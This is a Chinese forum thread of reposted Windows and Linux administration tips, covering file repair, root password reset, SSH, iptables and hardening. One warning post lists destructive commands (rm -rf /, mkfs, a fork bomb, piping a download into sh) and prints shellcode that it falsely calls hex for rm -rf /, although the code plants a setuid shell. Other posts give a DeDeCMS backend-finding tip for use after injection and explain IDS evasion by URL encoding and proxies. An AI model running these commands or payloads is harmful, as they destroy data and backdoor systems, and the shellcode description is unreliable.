jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
15楼#
发布于:2010-12-25 09:32
系统中文件名乱码的文件 如何正确删除
很多朋友遇到过这样的情况:电脑中出现文件名是乱码的文件(以下简称乱码文件,注意:是文件名乱码而不是文件内容乱码),它们无法打开、重命名、删除或移动。查看文件属性,系统显示无文件类型,而且它们一般占用巨大的磁盘空间。
  
  本文着重讨论这些乱码文件名文件的产生原因以及如何删除这些烦人的乱码文件。
  
  一、乱码文件名文件产生的原因
  
  经过仔细分析和研究,认为乱码文件产生的原因主要有以下几点:
  
  1. 硬盘磁道或扇区出现错误,导致文件名出现乱码,这样的文件无法正常删除。
  
  2. 有时候在windows中执行的删除文件操作,只是将磁盘上文件分配表里的相关文件信息删掉了,并没有实际删除文件。
  
  3. 不正确的操作。在使用BT下载软件时,下载进度到99%时就停止下载,并自己修改文件名,由于BT下载不是顺序下载,这样有可能导致文件索引信息错误,导致乱码文件出现。
  
  4. 使用磁盘工具PQmagic转换过分区格式之后(如从NTFS到FAT32),出现文件名乱码现象。因为PQmagic对中文文件名的支持不是很好,所以,在整理完分区后会导致中文文件名出现乱码,甚至文件内容也出现乱码。
  
  5. 病毒引起的文件名乱码,这种乱码文件产生的原因比较复杂,一般是由于病毒自己制造或杀毒软件删除病毒不彻底导致磁盘逻辑错误。
  
  6. 闪存、移动硬盘等移动存储设备出现乱码文件,尤其是手机存储卡最容易出现这种问题。这种情况多是由于不正确地使用移动存储设备造成的,比如直接拔离设备等。但是有的时候质量不好的闪存或移动硬盘也会出现乱码文件,这是移动设备本身的质量问题。比如当往存储卡中写入数据时出错,出现乱码文件,同时系统右下角出现“Windows延缓写入失败,Windows无法为x:/windows/windowsupdate.log文件保存所有数据”的提示,这多半是由于存储卡已经损坏了。
  
  二、删除乱码文件名的文件
  
  由于乱码文件产生的原因有多种,经过我仔细研究,找到了以下几种处理办法:
  
  1. 尝试为文件重命名,如果可以重命名的话。运行cmd 打开任务管理器,结束explorer进程,切换到cmd命令提示符状态下输入“Del 文件名”后就可以删除文件了,这种方法只适用于可以重命名的文件。在进行操作时先关闭其他一切不相关的程序。
  
  2. 如果重命名文件时系统提示“拒绝访问”,那么在cmd模式下运行“chkdsk /f”命令检查磁盘错误并修复。
  
  如果出现找到磁盘错误,一般的错误都是可以修复的,在修复完成后就可以删除乱码文件了。
  
  注意:有时,由于乱码文件所在分区为系统区,系统会提示“另一个进程正在调用该卷,是否希望下次开机时检查该卷?”我建议用这样的方法运行chkdsk命令,使用Windows安装盘引导系统,在选择新安装windows界面时,按“R”修复已有系统,进入命令提示符状态,在这里运行“chkdsk /f”命令。我测试过,这样运行的效果要比在windows下的cmd模式中好很多。再运行“fixmbr”命令修复分区表。也可以修复系统其他的问题。
  
  3.如果进行完上一步仍然无法删除乱码文件,可以使用我们最常用的WinRAR压缩工具来删除,具体的方法是压缩乱码文件并选中“压缩后删除源文件”选项。这样,一般的乱码文件就可以删除了。
  
  4.但是如果文件的磁盘文件索引块已经被破坏,那WinRAR也是没有办法的,这时候就要借用Ghost这个强大的工具了。先把有乱码文件的分区做成镜像文件,再使用Ghost explorer浏览镜像文件,找到乱码文件并删除,再把镜像文件恢复到源分区。这个方法一般可以解决绝大数乱码文件名无法删除的问题。
  
  5. 如果你装的是windows和linux双系统,还有一种解决办法。
  
  首先,用Linux启动系统,用“mount”命令加载那个有乱码文件的FAT32 分区并指定codepage=cp437,就可以看到完整的中文文件名和目录了。然后,用“cp -r”命令到拷贝乱码文件到linux 分区上面; 再用“umount”命令卸载FAT32分区,重新用“mount”命令加载并指定 codepage = cp936,用“iocharset=cp936 cp -r”命令把乱码文件拷贝回去。这个方法可以完全无损地恢复分区。

 

回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
16楼#
发布于:2010-12-25 09:33
拯救WindowsXP操作系统假死的三招妙计
使用windows XP时间比较长后,有时运行会很不流畅,甚至会不响应鼠标键盘的操作。很多时候是系统的假死。和真正的死机不同,假死完全可以被“救活”。假死的根源在于 explorer.exe(整个图形界面的驱动)。既然会假死,那就一定有解决方法,下面就介绍一些拯救系统假死的方法。
  
  第一招:当使用资源管理器打开新文件夹或用浏览器打开新页面不响应时,用“Win D”或单击快速启动栏的显示桌面按钮,再在桌面上按F5或右键刷新即可。一般刷新3-5次后再把资源管理器或浏览器窗口还原就会恢复正常了。
  
  第二招:这招很灵,能对付大多数假死的情况。当任务管理器都打不开时,先把光驱弹出之后再弹入(千万不要在光驱里放光盘),鼠标指针旁会出现一个小光盘标志,这时就会唤起系统的知觉,这招可是屡试不爽!
  
  第三招:最后的杀手锏,用组合键“Ctrl Alt Del”启动任务管理器,然后在“进程”选项卡中结束explorer.exe,整个桌面只剩一张壁纸,桌面图标和任务栏都没影了,然后在任务管理器的 “文件→新建任务”中输入explorer.exe,即可恢复正常。这一招还可释放内存资源,一举两得。
  
  照下面的方法可以明显减少假死可能性:
  
  能不用右键菜单的时候就尽量不用,尽量使用热键如用F2重命名、用F5刷新等。windows MediaPlayer最好不用可视化效果,用了往往会卡机。真想用的话,微粒是最不容易卡机的,建议用“微粒”可视化效果。不要轻易使用内存整理软件,往往会越整理系统速度越慢。如果真想释放系统资源,注销当前用户再重新登录是最好的方式。说了这么多,大家也不妨试试这些方法。

 

回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
17楼#
发布于:2010-12-25 09:34
系统强化策略 教你如何强化Linux安全
时常有人说,linux比windows更安全。但与网络连接的任何计算机是不可能绝对安全的。
  
  正如我们需要经常注意院子的围墙是否坚固一样,对操作系统也需要我们经常维护和强化。在此,我们仅谈论几个用户可以用来强化系统的大体步骤。
  
  本文重点谈的是如何强化的问题,不过在开始强化之前,用户需要对以下三个问题有一个清醒的认识,一个问题是这个系统用于什么目的,二是它需要运行哪些软件,三是用户需要防护哪些漏洞或威胁。这三个问题依次为因果关系,即前一个问题是后一个问题的原因,后一个问题是前一个的结果。
  
  从零开始
  
  从一个已知的安全状态开始强化一个系统是完全可能的,但在实际上这种强化也可以从一个“裸体”系统开始。这意味着用户将拥有对系统盘重新分区的机会,将所有的数据文件与操作系统文件分离开来未尝不是一个谨慎的安全措施。
  
  下一步是配置一个最小的安装,当然得让系统启动,然后添加必要的能够完成工作的程序包。这一步很关键。为什么需要最少化安装呢?原因在于机器中的代码越少,可被利用的漏洞就会越少:谁也无法利用并不存在的漏洞,是不是?你还需要给操作系统打补丁,并且还得给运行在这个系统上的所有应用程序打补丁。
  
  不过,要注意,如果有人能够从物理上接近所访问的机器,他就有可能从光盘或其它媒体启动计算机,并获取系统的访问权。因此,用户最好配置一下系统的BIOS,限制仅能从硬盘启动,并且要用一个强健的口令来保护这种设置。
  
  下一步是编译一下自己的系统内核,这里还是要强调仅包含那些你需要的部分。一旦你自己定制的系统构建完毕,重新启动进入内核,那你所拥有内核的被攻击的可能性将极大地减少。但强化系统的方法不限于此,好戏还在后头。
  
  减少服务
  
  运行了经过瘦身的系统之后,下一步就是要确保仅运行你需要的服务。到现在为止,用户已经清除了许多服务,但还有可能有许多服务仍在后台运行。用户需要在多个地方找到这些服务,如/etc/init.d 和 /etc/rc.d/rc.local等包含多种启动进程的位置,要检查由cron所启动的一切东西。用户还可以用netstat或Nmap等程序检查监听套接字。比如,许多用户需要禁用的服务可能包括网络文件系统(samba)、远程访问服务等。
  
  当然不能一概而论,如果你确实需要某些服务,就要设法限制它对系统其余部分的潜在破坏性作用,要尽可能让其在自己的chroot路径中运行,使其与文件系统的其余部分相分离。
  
  重视许可问题
  
  作为用户或管理人员,必须要保证任何用户都不能执行其不必要的程序或打开不必要文件。管理员应当审计整个系统,并将每个文件的许可减少到最小的可行程度。我们的目标是任何人都不能读取或写入与其无关的文件。此外,还应当对所有的敏感数据加密。
  
  进一步讲,管理员要保证拥有一个安全的root口令,而且知道此口令的人越少越好,只有这样,才能保障任何人都无法访问他们不应当访问的账户。还要保障用户登录信息的最新,要坚持口令的到期时间等策略问题。此外,清除预先提供的账户也是很聪明的做法,或者至少要改变默认的口令。
  
  需要强调的是,安全是一个过程而非一个临时性的活儿。这就意味着,管理人员应当监视并进一步强化系统,特别是需要监视系统日志,要以尽可能快的速度为系统打补丁。还要关注安全咨讯,在获知最新的漏洞后,能尽快地应对之。所以本文并不能全面解决linux安全,而是向用户展示强化系统的一些可能性。
  
  如果你是一个linux用户或管理者,应当采取一些步骤使其更安全,但这有可能降低系统效率。所以关键是找到一个恰当的平衡点。

 

回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
18楼#
发布于:2010-12-25 09:35
教你修复Linux操作系统 Root 口令密码
如果因为忘了root口令导致无法登录系统,请试用下面的方法来改忘记的root口令:
  
  方法一:
  
  1、重新启动系统。待系统启动到grub或lilo(现在一般是grub)引导菜单时,找到系统当前引导项(可以按方向键展开隐藏的菜单);
  
  2、把光标定位在该选项上按下字母“e”键进入这个引导的编辑状态;
  
  3、该选项有三行语句,请用光标选中第二行,也就是“Kernel”开头的 那一行;
  
  4、在这一行再按下字母“e”键进入这一行的编辑状态;
  
  5、在该行行尾加个空格,写上数字1,类似这样:
  
  kernel /boot/vmlinuz-2.6.9-11.19 ro root=LABEL=/ 1
  
  6、修改以后,按下“回车”键回到原来的界面;
  
  7、按下字母“b”键开始引导。
  
  这样,就可以启动linux的单用户模式,有点类似windows的安全模式,就是只启动最基本的系统,网络服务、系统服务等都不启动。单用户模式引导完成以后,会有#提示符,表示已拥有超级用户权限,然后请在#后执行命令:
  
  /usr/bin/passwd
  
  系统应该会提示输入口令,这个口令是不回显的,保证输入无误就可以了,回车后,系统会要求再输入一遍,输入要求一致,然后会看到口令修改成功的提示。再键入命令 init 3键入系统的字符界面模式下(系统会重新改变运行级别),看到login:提示,再重新试一试是否可以用root和刚刚修改过的口令登录。
  
  方法二:
  
  1、将系统光盘的第一张插入光驱,重新启动系统,从光驱成功引导后在boot: 后输入linux rescue回车。
  
  2、跟着引导程序向下走,不必配置网络。但提问是否手索并挂载系统分区时选择“是”,系统进入“#”提示符下。
  
  3、执行命令chroot /mnt/sysimage/ (默认的系统会挂在/mnt/sysimage/目录下)
  
  4、执行命令/usr/bin/passwd来修改root口令。
  
  5、执行命令exit; ,取出光盘,重新启动系统。
  
  然后用新的口令登录系统,即可完成root密码修复。

 

回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
19楼#
发布于:2010-12-25 09:36
介绍两种修改 Linux 操作系统下22端口的实用方法
第一种:
  
  01假如要改SSH的默认端口(22),那么你只要修改:/etc/ssh/sshd_config中Port 22,这里把22改成自己要设的端口就行了,不过千万别设和现已有的端口相同哦,以防造成未知后果。
  
  02假如要限制SSH登陆的IP,那么可以如下做:
  
  首先:修改/etc/hosts.deny,在其中加入sshd:ALL
  
  然后:修改/etc/hosts.allow,在其中进行如下设置:sshd:192.168.0.241
  
  这样就可以限制只有192.168.0.241的IP通过SSH登陆上linux机器了。当然在做为服务器方面,我都不装gnome和KDE的,而且很多东西都不装,这样增加安全系数。
  
  第二种:
  
  首先修改配置文件
  
  vi /etc/ssh/sshd_config
  
  找到#Port 22一段,这里是标识默认使用22端口,修改为如下:
  
  Port 22
  
  Port 50000
  
  然后保存退出
  
  执行/etc/init.d/sshd restart
  
  这样SSH端口将同时工作与22和50000上。
  
  现在编辑防火墙配置:vi /etc/sysconfig/iptables
  
  启用50000端口。
  
  执行/etc/init.d/iptables restart
  
  现在请使用ssh工具连接50000端口,来测试是否成功。如果连接成功了,则再次编辑sshd_config的设置,将里边的Port22删除即可。
  
  之所以先设置成两个端口,测试成功后再关闭一个端口,是为了方式在修改conf的过程中,万一出现掉线、断网、误操作等未知情况时候,还能通过另外一个端口连接上去调试以免发生连接不上必须派人去机房,导致问题更加复杂麻烦。

 

回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
20楼#
发布于:2010-12-25 09:38
Linux系统下查看服务器工作记录的方法
1)使用root登录
  
  使用passwd root来修改root的密码,在系统设置的安全项中设定允许管理员登录
  
  2)远程控制:Xmanager3(图形界面)
  
  a:仅仅作为图形显示
  
  #expore DISPLAY=IP:0.0
  
  #./runInstaller
  
  这样,oracle安装的图形界面就显示到了你所设置的ip上
  
  b:远程登录
  
  修改/etc/gdm/gdm.conf
  
  [daemon]项下的RemoteGreeter=/usr/lib/gdm/gdmlogin行前的#去掉
  
  [xdmcp]项下的Enable=false改为Enable=ture
  
  修改/etc/gdm/gdm.conf-custom,内容如下:
  
  [daemon]
  
  DefaultSession=gnome.desktop
  
  RemoteGreeter=/usr/lib/gdm/gdmgreeter
  
  [security]
  
  DisallowTCP=false
  
  AllowRoot=true
  
  AllowRemoteRoot=true
  
  [xdmcp]
  
  Enable=true
  
  [gui]
  
  GtkRC=
  
  [greeter]
  
  DefaultFace=
  
  GlobalFaceDir=/usr/
  
  [chooser]
  
  [debug]
  
  [servers]
  
  重新启动,在Xmanager的Xbrowser中就可以看到了,双击即可打开登录界面
  
  3)远程控制putty(文字界面)
  
  putty控制很简单,但是由于文件内有中文字符,不认,所有设置了一下其字符
  
  确认配置如下:
  
  export LANG=zh_CN.UTF-8export LANGUAGE=zh_CN:zh

 

回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
21楼#
发布于:2010-12-25 09:39
详解Linux操作系统下防火墙设置方法
修改防火墙配置需要修改 /etc/sysconfig/iptables 这个文件,如果要开放哪个端口,在里面添加一条。

-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1521 -j ACCEPT

就可以了,其中 1521 是要开放的端口号,然后重新启动linux的防火墙服务。

停止/启动防火墙服务的命令:

用root登录后,执行

service iptables stop --停止

service iptables start --启动

(service命令位于/sbin)

防火墙规则只有在 iptables 服务运行的时候才能被激活。要手工启动服务,使用以下命令:

/sbin rvice iptables restart

要确保它在系统引导时启动,使用以下命令:

/sbin/chkconfig --level 345 iptables on

ipchains 服务不能和 iptables 服务同时运行。要确定 ipchains 服务被禁用,执行以下命令:

/sbin/chkconfig --level 345 ipchains off

 

回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
22楼#
发布于:2010-12-25 09:39
浅谈linux操作系统的优化及安全配置
作为一个系统管理员,我下面说的都是基于服务器应用的linux来谈的,由于个人电脑上使用linux也许不是像服务器上一样,优先追求安全和稳定,因此个人电脑使用的朋友只做个参考吧。

  本文提及的系统,如没有特别声明,均采用redhat公司的redhat linux系统。

  关于优化

  说起优化,其实最好的优化就是提升硬件的配置,例如提高cpu的运算能力,提高内存的容量,个人认为如果你考虑升级硬件的话,建议优先提高内存的容量,因为一般服务器应用,对内存的消耗使用要求是最高的。当然这都是题外话了。

  这里我们首要讨论的,是在同等硬件配置下(同一台服务器,不提升硬件的情况下)对你的系统进行优化。

  作为系统管理员,我认为,首先我们要明确一个观点:在服务器上作任何操作,升级和修改任何配置文件或软件,都必须首要考虑安全性,不是越新的东西就越好,这也是为什么linux管理感觉上和windows有所不同的地方,windows首先推荐大家去使用它的最新版本软件和操作系统,其实我个人认为这是一种商业行为,作为从系统管理上来讲,这是很不好的,使用新的软件和系统可能带来新的问题,有些甚至是致命的。

  因此,作为管理,我们还是应该考虑稳定的长期使用的软件版本来作为我们的版本,具体的好处我就不多说了。相信作为管理员的你应该知道的。

  其实个人使用的linux最直接的一个优化就是升级内核,自己编译的内核是根据自己的系统编译而来,将得到最大的性能和最小的内核。

  但是,服务器就不太一样了,当然我们也希望每一台服务器都是自己手工编译的内核,高效而精巧。但是实际和愿望是有差距的,试想一下,如果你管理100来台linux主机,而每一台也许配置都不一样,那编译内核的一个过程将是一个浩大工程,而且从实际考虑,工作量大得难以想象。我想你也不会愿意做这种事情吧。因此,个人建议,采用官方发布的内核升级包是很好的选择。

  首先,我们对新安装的系统,将做一系列升级,包括软件和内核,这是很重要的步骤,(这方面的详细情况欢迎察看我另一篇关于升级方面的文章)。

  在升级好所有软件后,基本的防火墙和配置都做好以后,我们开始优化一些细节配置,如果你是老系统,那么在作本问题及的一些操作和优化你系统之前,务必被备份所有数据到其他介质。

  1、虚拟内存优化

  首先查看虚拟内存的使用情况,使用命令

  # free

  查看当前系统的内存使用情况。

  一般来说,linux的物理内存几乎是完全used。这个和windows非常大的区别,它的内存管理机制将系统内存充分利用,并非windows无论多大的内存都要去使用一些虚拟内存一样。这点需要注意。

  linux下面虚拟内存的默认配置通过命令

  #cat/proc/sys/vm/freepages

  可以查看,显示的三个数字是当前系统的:最小内存空白页、最低内存空白页和最高内存空白。

  注意,这里系统使用虚拟内存的原则是:如果空白页数目低于最高空白页设置,则使用磁盘交换空间。当达到最低空白页设置时,使用内存交换(注:这个是我查看一些资料得来的,具体应用时还需要自己观察一下,不过这个不影响我们配置新的虚拟内存参数)。

  内存一般以每页4k字节分配。最小内存空白页设置是系统中内存数量的2倍;最低内存空白页设置是内存数量的4倍;最高内存空白页设置是系统内存的6倍。这些值在系统启动时决定。

  一般来讲在配置系统分配的虚拟内存配置上,我个人认为增大最高内存空白页是一种比较好的配置方式,以1G的内存配置为例:

  可将原来的配置比例修改为:

  204840966444

  通过命令

  # echo"204840966444" > /proc/sys/vm/freepages

  因为增加了最高空白页配置,那么可以使内存更有效的利用。

  2、硬盘优化

  如果你是scsi硬盘或者是ide阵列,可以跳过这一节,这节介绍的参数调整只针对使用ide硬盘的服务器。

  我们通过hdparm程序来设置IDE硬盘,

  使用DMA和32位传输可以大幅提升系统性能。使用命令如下:

  #/sbin/hdparm -c 1 /dev/hda

  此命令将第一个IDE硬盘的PCI总线指定为32位,

  使用 -c 0参数来禁用32位传输。

  在硬盘上使用DMA,使用命令:

  # /sbin/hdparm -d 1 /dev/hda

  关闭DMA可以使用 -d 0的参数。

  更改完成后,可以使用hdparm来检查修改后的结果,使用命令:

  # /sbin/hdparm -t /dev/had

  为了确保设置的结果不变,使用命令:

  # /sbin/hdparm -k 1 /dev/hda

  Hdparm命令的一些常用的其他参数功能

  -g 显示硬盘的磁轨,磁头,磁区等参数。

  -i 显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供。

  -I 直接读取硬盘所提供的硬件规格信息。

  -p设定硬盘的PIO模式。

  -Tt 评估硬盘的读取效率和硬盘快取的读取效率。

  -u<0或1> 在硬盘存取时,允许其他中断要求同时执行。

  -v 显示硬盘的相关设定。

  3、其他优化

  关闭不需要的服务,关于系统自动启动的服务,网上有很多资料,在此我就不赘述了;

  关于安全

  1、安全检查

  作为一个系统管理员来说,定期对系统作一次全面的安全检查很重要的,最近遇到一些朋友来信说出现了一些莫名其妙的问题,例如最大的一个问题就是明显感觉网络服务缓慢,这极有可能是被攻击的现象。实践证明,无论是那种系统,默认安装都是不安全的,实际不管你用windows也好,linux,bsd或其他什么系统,默认安装的都有很多漏洞,那怎么才能成为安全的系统呢,这正是我们系统管理人员需要做的事情。配置配置再配置。任何系统,只要细心的配置,堵住已知的漏洞,可以说这个系统是安全的,其实并非很多朋友说的那样,安装了系统,配置了防火墙,安装了杀毒软件,那么就安全了,其实如果对系统不作任何安全设置,那就等于向黑客敞开一扇纸做的大门,数十分钟就能完全控制!

  这并非骇人听闻。

  作为linux系统,同样存在很多漏洞,黑可能利用这些漏洞控制你的整个系统,要防止这些问题,我们需要做以下步骤:

  1、 升级系统中所有软件包的最新版本;

  2、 设置较为强壮的防火墙;

  3、 定期检查关键记录文件,配置杀毒软件

  4、 多关心一下发布安全信息警告的网站,掌握一些最新的病毒和黑客程序的特点,这些都利于系统的正常运作。

  这篇文章主要以优化为主,为了配合这一主题,安全部分我们只讨论一下日常的一些维护工作。

  除了上面列出的4条是管理员必修之课外,对一些linux系统细节的维护也很重要。

  包括:

  1、 配置日志轮训工具,定期下载备份日志,是个非常好的习惯,这样不但能减少日志的消耗的磁盘空间,提高系统效率,更能及时发现问题,linux下有些很好的系统日志分析器,能直接提取日志中的特殊项目,省去了阅读日志的烦恼;

  2、 使用命令lsof –i ,netstat –a ,ps –e等命令,定期检查系统服务端口监听等情况,也可制作一个定期执行的脚本,将这些命令定期执行后发到邮箱中;

  3、 定期检查root用户的history列表,last列表,vipw用户列表是否正常;

  4、 定期备份文件,用tar命令就能很好的备份了,当然需要下载这些备份并转移介质;

  如一点发现有任何特别的没见过的情况或端口,那么要引起足够的重视,切勿因小失大。

  以上是我对linux系统安全和优化的一些浅显认识,希望大家都能安全高效的使用linux为你的工作生活带来方便。

 

回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
23楼#
发布于:2010-12-25 09:41
7个具有杀伤性的命令
如果您使用linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还是会对你的系统造成严重影响.
有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的余地.

1. Code:


rm -rf /

这个很简单,根目录会被擦光.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


没看懂?呵呵,其实就是16进制的[rm -rf /].

3. Code:

mkfs.ext3 /dev/sda


抹盘行为无疑是危险的

4. Code:

:(){:|:;};:


这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机.

5. Code:

any_command > /dev/sda


这个命令将会写入大量的RAW数据,可以导致数据丢失.

6. Code:

wgethttp://some_untrusted_source -O- | sh

和windows一样,千万不要乱下载未经证实安全性的源,这年头linux和胡萝卜一样,也不会保险.

7. Code:

mv /home/yourhomedirectory/* /dev/null


这条命令无疑会让系统抓狂,你的主目录会再也看不到.a




回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
24楼#
发布于:2010-12-25 09:42
iptables实用范例
iptables是Linux内核带的防火墙,结合linux强大的路由功能,可以实现达到非常出色的性能并能满足大部分企业使用的要求。下面我就用一个常用的案例说明一下。

一、网络拓扑图
 下面是示例中使用的架构:


回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
25楼#
发布于:2010-12-25 09:43
Linux下Perl扩展模块安装
使用cpan自动安装

  启动:perl -MCPAN -e shell

  启动后提示符显示 cpan>

  第一次启动要设置很多东西,如果网络没有防火墙什么的一路回车,到最后选一下最近的“源”就好了。如果有防火墙或自己要设置代理,过程中自己看英文提示吧。

  安装命令如下:install 模块名

  install Net::SSH::Perl

  install Net::SSH::Expect

  install Expect

  .....

  如果要修改连接源的列表

  ///////////////////////////////////////////////

  o conf urllist

  查看当前“源”列表

  o conf urllist shift

  删除“源”列表中最后一个url

  o conf urllist unshift www.perl.com/CPAN/

  添加url到“源”列表

  ///////////////////////////////////////////////////


回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
26楼#
发布于:2010-12-25 09:44
织梦管理系统DeDeCMS后台查找
有时在通过注射得到织梦程序的管理密码时,却发现找不到后台地址。。

 

这个时候 大家可以尝试下在地址后面加上:/include/dialog/select_media.php?f=form1.murl


但不一定通杀。。

By:cast

 


回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
27楼#
发布于:2010-12-25 09:45
黑客避开检测的手段
 黑客的聪明并不只是在于他们知道如何去入侵服务器,还在于他们知道如何去伪装自己的攻击。恶意的攻击者会使用多种逃避的手段来让自己不会被检测到,所以作为系统管理员,也应当了解这些手段以应付可能发生的攻击。
  
  这篇文章的主要目的不是揭示黑客新的攻击手法,而是对那些黑客所用到的逃避检测的手法以及他们可能留下的证据做描述。这些手段的欺骗性很大,所以想检测到它们也更加的困难。
  
  网络服务器
  
  我们的实验环境使用两种最常用的网络服务器,Apache和微软的InternetInformationServer(IIS)。我们在RedHatlinux上运行Apache1.3.9,在windowsNT4.0上运行IIS4.0。并且两种都采用普通和允许SSL的版本,所以我们可以对加密和未加密的服务器的攻击做测试。
  
  16进制编码
  
  一种最简单的将攻击伪装的手段就是修改URL请求。作为管理员,我们一般会在日志文件中查找某些字符串,或是一些普通文本的字符集。例如我们在请求中查找匹配已知漏洞的字符串。例如,我们在我们的IIS服务器中发现了如下的字符串,我们就知道有人正在查找是否有IIS中可以远程利用的MDAC漏洞:
  
  06:45:2510.0.2.79GET/msadc/302
  
  要知道攻击者是如何躲过这种匹配检测的,请参考以下作为恶意攻击者策略一部分的请求。要确定msadc目录是否存在,攻击者可能键入以下内容:
  
  [root@localhost/root]#nc-n10.0.2.5580
  
  GET/msadcHTTP/1.0
  
  这就会产生我们以上所见的日志文件。攻击者可以将请求进行十六进制的ASCII字符编码。在以上的例子中,字符串msadc在十六进制编码以后就会变为6D73616463。你可以使用windowsCharmap程序来快速的进行字符的ASCII到十六进制的转换。以上的HTTP请求,将字符串msadc用十六进制编码以后,就变成了:
  
  [root@localhost]#nc-n10.0.2.5580
  
  GET/%6D%73%61%64%63HTTP/1.0
  
  IIS的日志文件显示:
  
  07:10:3910.0.2.31GET/msadc/302
  
  应当注意的是,虽然采用了十六进制编码的手段,但是所产生的日志和没有使用十六进制编码的URL产生的是一样的。所以在这个例子里,编码并没有帮助攻击者逃避检测。但是,如果我们看看看Apache的日志情况,那么就是另外一个情形了。以下列出了攻击者使用来搜索某个cgi脚本的命令,后面跟着的是使用十六进制编码以后的同样命令:
  
  [root@localhost]#nc-n10.0.0.280
  
  HEAD/cgi-bin/test-cgiHTTP/1.0
  
  [root@localhost]#nc-n10.0.0.280
  
  HEAD/%63%67%69-bin/test-%63%67%69HTTP/1.0
  
  现在我们来查看一下access_log文件:
  
  10.10.10.10--[18/Oct/2000:08:22:47-0700]"HEAD/cgi-bin/test-cgiHTTP/1.0"2000
  
  10.10.10.10--[18/Oct/2000:08:23:47-0700]"HEAD/%63%67%69-bin/test-%63%67%69HTTP/1.0"2000
  
  首先应注意到的是在这两个例子中都是200代码说明命令完成成功。但是在第二中情况中,日志中出现的是十六进制的值而不是明文的。如果我们是依赖于形式来对这种攻击进行检测的话,那么我们是不可能检测到所发生的攻击的。许多的入侵检测系统使用的格式匹配技术智能化都不高,并且有些产品不会将十六进制的URL转换过后进行匹配。但是不论所使用的入侵检测软件是否能够对十六进制的代码进行转换,所有的网络管理员都应当对这种伎俩有所了解。
  
  代理服务器
  
  因为对攻击者而言完全隐藏攻击行为是很难做到的,所以掩盖攻击的真实来源也就成为相当重要的课题了。如果黑客可以隐藏他的源IP地址的话,那么他就可以在不用担心被抓住的情况下进行攻击。而黑客用来隐藏他们的源IP地址的一种手段就是使用代理服务器。
  
  代理服务器是被合法的用来从一个单一的访问点转发多种协议的。一般来说,内部用户必须通过代理服务器才能访问Internet,因此管理员就可以在代理服务器指定外部访问以及内部访问的限制策略。用户首先是和代理服务器建立连接,然后代理服务器就将连接请求转发到真正的目的地址。目的地址会记录下代理服务器的IP地址以作为请求的源地址,而不是最初发出请求的系统的IP地址。
  
  但是不幸的是代理服务器在Internet上的放置太随意了。(可以查看Proxys-4-All来获得这些错误配置机器的列表。)这些服务器经常会存在配置错误使得Internet用户可以连接到这些代理服务器上。一旦某个Internet用户通过代理服务器连接到某个服务器上,该服务器就会将代理服务器的IP地址作为发出请求的源地址记录在日志中。而在被攻击服务器的日志中对攻击者的记录其IP地址是属于一个没有任何攻击行为的“无辜”主机的,而不是攻击者的真正地址。我们来看以下的例子。
  
  下面的例子显示了黑客的攻击和攻击在日志中产生的相关信息。
  
  攻击者
  
  [root@10.1.1.1/]#nc-v10.8.8.880
  
  HEAD/HTTP/1.0
  
  日志文件
  
  10.1.1.1--[18/Oct/2000:03:31:58-0700]"HEAD/HTTP/1.0"2000
  
  在下面这种情况中,我们看到攻击者达到了同样的目的,但是这次他使用了代理服务器。
  
  攻击者
  
  [root@10.1.1.1/]#nc-v216.234.161.8380
  
  HEAD

 

回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
